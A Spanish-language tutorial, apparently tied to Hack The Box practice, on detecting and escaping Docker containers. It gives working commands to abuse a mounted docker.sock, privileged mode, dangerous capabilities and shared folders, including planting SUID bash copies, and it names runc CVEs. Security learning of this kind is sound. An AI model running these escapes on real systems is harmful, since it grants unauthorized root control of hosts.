Escapar de un contenedor Docker: docker.sock y modo privilegiado

Cómo saber si estás dentro de un contenedor, qué revisar y cómo salir al anfitrión con docker.sock, --privileged, discos montados, capabilities o un Docker vulnerable.

· 3 min de lectura

Consigues una shell, eres root... y no hay flag en /root. Muy probablemente estás dentro de un contenedor. Ser root ahí no es ser root en la máquina: hay que salir al anfitrión. Esta guía cubre la salida desde dentro; si en el anfitrión perteneces al grupo docker o lxd, eso ya está en la guía de cron, PATH y grupos.

¿Estoy en un contenedor?

ls -la /.dockerenv                 # existe en contenedores Docker
cat /proc/1/cgroup                 # rutas con docker, kubepods o containerd
hostname                           # un identificador hexadecimal de 12 caracteres
ps aux | wc -l                     # muy pocos procesos
ip a; cat /etc/hosts               # IP 172.17.x.x y nombres de otros servicios

Si estás en uno, antes de intentar salir mira qué hay dentro: variables de entorno (env), ficheros de configuración de la aplicación y la red. Muchas veces el contenedor tiene credenciales de la base de datos u otro servicio que sí te llevan al anfitrión. En Busqueda las contraseñas están en las variables de entorno de los contenedores.

La lista de comprobación

Comprueba Comando Si sale...
Socket de Docker montado ls -la /var/run/docker.sock /run/docker.sock Controlas Docker del anfitrión
Contenedor privilegiado ip link add x type dummy funciona; ls /dev muestra los discos (sda, nvme0n1) Montas el disco del anfitrión
Capabilities peligrosas capsh --print o grep Cap /proc/self/status cap_sys_admin, cap_sys_module, cap_dac_read_search, cap_sys_ptrace
Carpetas del anfitrión montadas mount, df -h, cat /proc/self/mountinfo Escribes en ellas como root
Versión de Docker / runc docker version desde el anfitrión o el socket CVE conocido
Kubernetes ls /var/run/secrets/kubernetes.io/serviceaccount/ Un token para la API del clúster

La herramienta deepce.sh hace toda la lista de golpe y además busca credenciales.

docker.sock montado

Si el socket está dentro, puedes pedirle al Docker del anfitrión que arranque otro contenedor con el disco del anfitrión montado:

# con el cliente docker (súbelo como binario estático si no está)
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host bash

# sin cliente, hablando con la API por curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host sh -c \"cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb\""],"HostConfig":{"Binds":["/:/host"]}}' \
  http://localhost/containers/create
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<id>/start

Usa una imagen que ya exista en el anfitrión (la lista sale de /images/json), porque la máquina no tendrá Internet para descargar alpine. Lo mismo pasa si la API de Docker escucha por TCP (puertos 2375 y 2376): es la vía de MonitorsFour.

Contenedor privilegiado (--privileged)

Un contenedor privilegiado ve los dispositivos del anfitrión. Monta el disco y ya:

fdisk -l                          # busca la partición grande del anfitrión
mkdir /mnt/h && mount /dev/sda1 /mnt/h
chroot /mnt/h bash                # o escribe tu clave en /mnt/h/root/.ssh/authorized_keys

Es lo que pasa en Ready. Si fdisk no ve discos pero tienes cap_sys_admin, la técnica clásica es el release_agent de cgroups v1: hace que el anfitrión ejecute un script tuyo cuando se vacía un cgroup.

Capabilities

Capability Abuso
cap_sys_admin Montar, release_agent de cgroups, casi equivale a privilegiado
cap_sys_module Cargar un módulo del kernel propio: código en el kernel del anfitrión
cap_dac_read_search Leer cualquier fichero del anfitrión con open_by_handle_at (exploit shocker)
cap_sys_ptrace + --pid=host Inyectar código en un proceso del anfitrión

Carpetas compartidas con el anfitrión

Si una carpeta del anfitrión está montada con permisos de escritura y tú eres root en el contenedor, lo que escribas tendrá dueño root también fuera. El truco clásico: copia bash dentro con SUID y ejecútalo desde un usuario sin privilegios en el anfitrión.

# dentro del contenedor (root)
cp /bin/bash /montaje/rb && chmod 4755 /montaje/rb
# en el anfitrión (usuario normal), en la ruta real de esa carpeta
./rb -p

Asegúrate de que el bash es compatible con el anfitrión (misma arquitectura y librerías) o copia el del propio anfitrión si puedes leerlo.

Docker o runc vulnerables

  • CVE-2019-5736 (runc): sobrescribe el binario runc del anfitrión desde dentro del contenedor (TheNotebook).
  • CVE-2021-41091 (Moby): los directorios de los contenedores en /var/lib/docker son accesibles a usuarios sin privilegios del anfitrión. Si eres root en el contenedor y usuario en el anfitrión, pones un SUID dentro y lo ejecutas fuera (MonitorsTwo).
  • CVE-2024-21626 (runc, Leaky Vessels): un descriptor de fichero filtrado da acceso al sistema de ficheros del anfitrión.

Si nada de esto funciona, sigue enumerando como en cualquier Linux: la guía de sudo, SUID y capabilities y la chuleta de escalada en Linux.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Escape de contenedores 16 máquinas

Ver las 16 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo